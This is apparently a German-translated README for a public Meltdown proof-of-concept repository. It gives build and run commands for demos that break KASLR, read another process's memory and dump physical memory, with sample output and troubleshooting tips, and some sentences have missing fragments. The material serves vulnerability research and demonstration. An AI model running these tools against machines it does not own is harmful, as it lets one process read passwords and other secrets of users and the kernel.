
Proof-of-Concept-Demos und die libkdump-Bibliothek, die den mikroarchitektonischen Meltdown-Angriff demonstrieren und Kernel- sowie physischen Speicher auf anfälligen Intel-CPUs auslesen.
Dieses Repository enthält mehrere Anwendungen, die den Meltdown-Bug demonstrieren. Für technische Informationen über den Bug siehe das Paper:
Die Anwendungen in diesem Repository wurden mit libkdump erstellt, einer Bibliothek, die wir für das Paper entwickelt haben. Diese Bibliothek vereinfacht die Ausnutzung des Bugs, indem sie sich automatisch an bestimmte Eigenschaften der Umgebung anpasst.
Dieses Repository enthält mehrere Videos, die Meltdown demonstrieren
Dieses Repository enthält fünf Demos, um verschiedene Anwendungsfälle zu demonstrieren. Alle Demos wurden auf Ubuntu 16.04 mit einem Intel Core i7-6700K getestet, aber sie sollten auf jedem Linux-System mit jeder modernen Intel-CPU seit 2010 funktionieren.
Für beste Ergebnisse empfehlen wir eine schnelle CPU, die Intel TSX unterstützt (z. B. jeder Intel Core i7-5xxx, i7-6xxx oder i7-7xxx). Darüber hinaus sollte jede Demo an einen CPU-Kern gebunden werden, z. B. mit taskset.
Als Voraussetzung müssen Sie glibc-static auf Ihrem System installieren.
Für RPM-basierte Systeme:
sudo yum install -y glibc-static
test)Dies ist die einfachste Demo. Sie verwendet Meltdown, um zugängliche Adressen aus dem eigenen Adressraum zu lesen, ohne Isolationsmechanismen zu durchbrechen.
Wenn diese Demo bei Ihnen nicht funktioniert, werden die übrigen Demos höchstwahrscheinlich ebenfalls nicht funktionieren. Die Gründe sind vielfältig, z. B. könnte die CPU zu langsam sein, keine Out-of-Order-Ausführung unterstützen, der hochauflösende Timer nicht präzise genug sein (insbesondere in VMs), das Betriebssystem keine benutzerdefinierten Signal-Handler unterstützen usw.
make
taskset 0x1 ./test
Wenn Sie eine Ausgabe ähnlich dieser sehen
Expect: Welcome to the wonderful world of microarchitectural attacks
Got: Welcome to the wonderful world of microarchitectural attacks
dann funktioniert die Basis-Demo.
kaslr)Ab dem Linux-Kernel 4.12 ist KASLR (Kernel Address Space Layout Randomization) standardmäßig aktiv. Das bedeutet, dass sich die Position des Kernels (und auch die direkte physische Map, die den gesamten physischen Speicher abbildet) bei jedem Neustart ändert.
Diese Demo verwendet Meltdown, um die (geheime) Randomisierung der direkten physischen Map preiszugeben. Diese Demo erfordert Root-Rechte, um den Prozess zu beschleunigen. Das Paper beschreibt eine Variante, die keine Root-Rechte erfordert.
make
sudo taskset 0x1 ./kaslr
Nach einigen Sekunden sollten Sie etwas Ähnliches wie dies sehen
[+] Direct physical map offset: 0xffff880000000000
reliability)Diese Demo testet, wie zuverlässig physischer Speicher gelesen werden kann. Für diese Demo benötigen Sie entweder den Offset der direkten physischen Map (z. B. aus Demo #2) oder Sie müssen KASLR deaktivieren, indem Sie nokaslr in Ihrer Kernel-Kommandozeile angeben.
Erstellen und starten Sie reliability. Wenn KASLR aktiviert ist, ist der erste Parameter der Offset der direkten physischen Map. Andernfalls benötigt das Programm keinen Parameter.
make
sudo taskset 0x1 ./reliability 0xffff880000000000
Nach einigen Sekunden sollten Sie eine Ausgabe ähnlich dieser erhalten:
[-] Success rate: 99.93% (read 1354 values)
physical_reader)Diese Demo liest Speicher aus einem anderen Prozess, indem sie direkt physischen Speicher liest. Für diese Demo benötigen Sie entweder den Offset der direkten physischen Map (z. B. aus Demo #2) oder Sie müssen KASLR deaktivieren, indem Sie nokaslr in Ihrer Kernel-Kommandozeile angeben.
Im Prinzip kann dieses Programm beliebige physische Adressen lesen. Da der physische Speicher jedoch viele nicht menschenlesbare Daten enthält, stellen wir ein Testwerkzeug (secret) bereit, das eine menschenlesbare Zeichenkette in den Speicher schreibt und direkt die physische Adresse dieser Zeichenkette liefert.
Führen Sie für die Demo zunächst secret (als Root) aus, um die physische Adresse einer menschenlesbaren Zeichenkette zu erhalten:
make
sudo ./secret
Es sollte etwas Ähnliches wie dies ausgeben:
[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret
Während das secret-Programm läuft, starten Sie physical_reader. Der erste Parameter ist die physische Adresse, die von secret ausgegeben wurde. Wenn KASLR nicht deaktiviert ist, ist der zweite Parameter der Offset der direkten physischen Map.
taskset 0x1 ./physical_reader 0x390fff400 0xffff880000000000
Nach einigen Sekunden sollten Sie eine Ausgabe ähnlich dieser erhalten:
[+] Physical address : 0x390fff400
[+] Physical offset : 0xffff880000000000
[+] Reading virtual address: 0xffff880390fff400
If you can read this, this is really bad
memdump)Diese Demo gibt den Inhalt des Speichers aus. Wie Demo #3 und #4 verwendet sie die direkte physische Map, um den Inhalt des physischen Speichers in einem hexdump-ähnlichen Format auszugeben.
Da der physische Speicher wiederum viele nicht menschenlesbare Inhalte enthält, stellen wir ein Testwerkzeug bereit, um große Mengen des physischen Speichers mit menschenlesbaren Zeichenketten zu füllen.
Führen Sie für die Demo zunächst memory_filler aus, um den Speicher mit menschenlesbaren Zeichenketten zu füllen. Das erste Argument ist die Menge an Speicher (in Gigabyte), die gefüllt werden soll.
make
./memory_filler 9
Führen Sie dann das memdump-Werkzeug aus, um Speicherinhalte auszugeben. Wenn Sie zuvor memory_filler ausgeführt haben, sollten Sie einige Zeichenkettenfragmente sehen.
Wenn Sie Firefox oder Chrome mit mehreren geöffneten Tabs ausführen, sehen Sie möglicherweise auch Teile der Websites, die geöffnet sind oder kürzlich geschlossen wurden.
Der erste Parameter ist die physische Adresse, an der der Dump beginnen soll (leer lassen, um beim ersten Gigabyte zu beginnen). Der zweite Parameter ist die Anzahl der Bytes, die gelesen werden sollen; um alles zu lesen, geben Sie -1 an. Wenn KASLR nicht deaktiviert ist, ist der dritte Parameter der Offset der direkten physischen Map.
taskset 0x1 ./memdump 0x240000000 -1 0xffff880000000000 # start at 9 GB
Sie sollten einen Hexdump von Teilen des Speichers erhalten (möglicherweise sogar mit Geheimnissen wie Passwörtern, siehe Beispiel im Paper), z. B.:
240001c9f: | 00 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .m.............. |
24000262f: | 00 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .}.............. |
24000271f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 6e 20 75 | ............en u |
24000272f: | 73 65 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 | ser space and ke |
24000273f: | 72 6e 65 6c 57 65 6c 63 6f 6d 65 20 74 6f 20 74 | rnelWelcome to t |
24000298f: | 00 61 72 79 20 62 65 74 77 65 65 6e 20 75 73 65 | .ary between use |
24000299f: | 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 72 6e | r space and kern |
2400029af: | 65 6c 42 75 72 6e 20 61 66 74 65 72 20 72 65 61 | elBurn after rea |
2400029bf: | 64 69 6e 67 20 74 68 69 73 20 73 74 72 69 6e 67 | ding this string |
240002dcf: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 | ................ |
2400038af: | 6a 75 73 74 20 73 70 69 65 64 20 6f 6e 20 61 00 | just spied on a. |
240003c8f: | 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
24000412f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 74 73 2e | ............ets. |
24000413f: | 2e 2e 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 | ..Welcome to the |
2400042ff: | 00 00 00 00 00 00 00 00 00 6e 67 72 61 74 75 6c | .........ngratul |
24000430f: | 61 74 69 6f 6e 73 2c 20 79 6f 75 20 6a 75 73 74 | ations, you just |
24000431f: | 20 73 70 69 65 64 20 6f 6e 20 61 6e 20 61 70 70 | spied on an app |
Funktioniert es unter Windows / Ubuntu on Windows (WSL) / Mac OS?
Nein. Dieser PoC funktioniert nur unter Linux, da er Eigenschaften verwendet, die spezifisch für den Linux-Kernel sind, wie die direkte physische Map.
Kann ich den PoC in einer virtuellen Maschine ausführen?
Ja, der PoC funktioniert auch auf virtuellen Maschinen. Aufgrund der zusätzlichen Schicht, die durch eine virtuelle Maschine eingeführt wird, funktioniert er jedoch möglicherweise nicht so gut wie auf nativer Hardware.
Das KASLR-Programm (kaslr) findet den Offset nicht!
Das kaslr-Werkzeug führt nur sehr wenige Messungen durch, um schnell zu sein. Wenn es den Offset nicht findet, gibt es zwei Möglichkeiten:
kaslr.c: config.retries = 1000;kaslr_offset, um den Offset direkt aus dem Kernel zu lesen. Installieren Sie die Kernel-Header für Ihren Kernel (sudo apt-get install linux-headers-`uname -r` ) und führen Sie sudo ./direct_physical_map.sh ausSie sagten, es funktioniert auf ungecachtem Speicher, aber alle Ihre Demos stellen sicher, dass der Speicher gecacht ist!
Es auf ungecachtem Speicher zum Laufen zu bringen, ist kniffliger und erfordert oft ein wenig Feintuning der Parameter. Daher stellen wir im PoC sicher, dass der Speicher gecacht ist, um die Reproduzierbarkeit zu erleichtern. Sie können jedoch einfach den Code entfernen, der die Werte cacht, und ihn durch ein ersetzen, um den Exploit auf ungecachtem Speicher zu testen (siehe Video #5 für ein Beispiel). Obwohl nicht im ursprünglichen Blogbeitrag von Google, wurde dies auch von unabhängigen Forschern bestätigt (z. B. , , ).
Warnung #1: Wir stellen diesen Code so bereit, wie er ist. Sie sind dafür verantwortlich, sich selbst, Ihr Eigentum und Ihre Daten sowie andere vor Risiken zu schützen, die durch diesen Code entstehen. Dieser Code kann unerwartetes und unerwünschtes Verhalten auf Ihrem Computer verursachen. Dieser Code erkennt die Schwachstelle auf Ihrem Computer möglicherweise nicht.
Warnung #2: Wenn Sie feststellen, dass ein Computer anfällig für den Meltdown-Bug ist, sollten Sie ihn möglicherweise nicht als Mehrbenutzersystem verwenden. Meltdown durchbricht den Speicherschutz der CPU. Auf einem Computer, der anfällig für den Meltdown-Bug ist, kann ein Prozess alle Seiten lesen, die von anderen Prozessen oder vom Kernel verwendet werden.
Warnung #3: Dieser Code dient nur zu Testzwecken. Führen Sie ihn nicht auf Produktivsystemen aus. Führen Sie ihn nicht auf einem System aus, das von einer anderen Person oder Organisation verwendet werden könnte.
clflushEs funktioniert einfach nicht auf meinem Computer, was kann ich tun?
Dafür kann es viele verschiedene Gründe geben. Wir haben einige Dinge zusammengestellt, die Sie ausprobieren können:
libkdump/libkdump.c in der Zeile #define MELTDOWN meltdown_nonull geändert werden. Versuchen Sie zum Beispiel meltdown statt meltdown_nonull, was auf manchen Maschinen viel besser funktioniert (auf anderen jedoch überhaupt nicht).stress mit stress -i 2 ausführen (oder andere Werte für den Parameter i, abhängig von der Anzahl der Kerne).